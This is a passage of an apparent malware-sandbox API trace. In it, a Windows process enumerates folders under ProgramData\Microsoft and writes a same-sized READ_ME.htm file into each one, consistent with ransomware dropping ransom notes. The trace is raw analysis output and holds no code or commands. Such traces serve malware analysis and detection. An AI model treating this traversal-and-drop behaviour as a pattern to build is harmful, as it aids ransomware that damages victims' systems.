nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.944] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.944] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f97f180, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.944] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f97f180, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.944] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.944] SetErrorMode (uMode=0x0) returned 0x1 [0141.944] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x29 [0141.945] SetErrorMode (uMode=0x1) returned 0x0 [0141.945] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\all users\\microsoft\\media player\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.945] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.945] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f97f180, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.945] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f97f180, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.946] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.946] SetErrorMode (uMode=0x0) returned 0x1 [0141.946] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0141.946] SetErrorMode (uMode=0x1) returned 0x0 [0141.946] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\media player\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.946] GetFileType (hFile=0x1d0) returned 0x1 [0141.946] SetErrorMode (uMode=0x0) returned 0x1 [0141.946] GetFileType (hFile=0x1d0) returned 0x1 [0141.947] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f63f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28f63f0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.949] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0141.949] SetErrorMode (uMode=0x1) returned 0x0 [0141.949] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*" (normalized: "c:\\users\\all users\\microsoft\\mf\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0141.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0141.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9a52e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.950] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9a52e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.950] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.950] SetErrorMode (uMode=0x0) returned 0x1 [0141.950] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF", lpFilePart=0x0) returned 0x1f [0141.951] SetErrorMode (uMode=0x1) returned 0x0 [0141.951] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*" (normalized: "c:\\users\\all users\\microsoft\\mf\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.951] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.951] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0141.951] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0141.951] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9a52e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.952] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9a52e0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9a52e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9a52e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.952] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.952] SetErrorMode (uMode=0x0) returned 0x1 [0141.952] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0141.952] SetErrorMode (uMode=0x1) returned 0x0 [0141.952] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\mf\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.952] GetFileType (hFile=0x1d0) returned 0x1 [0141.952] SetErrorMode (uMode=0x0) returned 0x1 [0141.952] GetFileType (hFile=0x1d0) returned 0x1 [0141.953] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fc670*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28fc670*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.953] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0141.953] SetErrorMode (uMode=0x1) returned 0x0 [0141.953] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" (normalized: "c:\\users\\all users\\microsoft\\netframework\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0141.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.954] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.954] SetErrorMode (uMode=0x0) returned 0x1 [0141.954] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0141.954] SetErrorMode (uMode=0x1) returned 0x0 [0141.955] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" (normalized: "c:\\users\\all users\\microsoft\\netframework\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0141.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9f15a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.955] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.955] SetErrorMode (uMode=0x0) returned 0x1 [0141.956] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0141.956] SetErrorMode (uMode=0x1) returned 0x0 [0141.956] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.956] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.956] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.956] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.956] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.957] SetErrorMode (uMode=0x0) returned 0x1 [0141.957] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0141.957] SetErrorMode (uMode=0x1) returned 0x0 [0141.957] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f9cb440, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f9cb440, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f9cb440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.957] FindNextFileW (in: 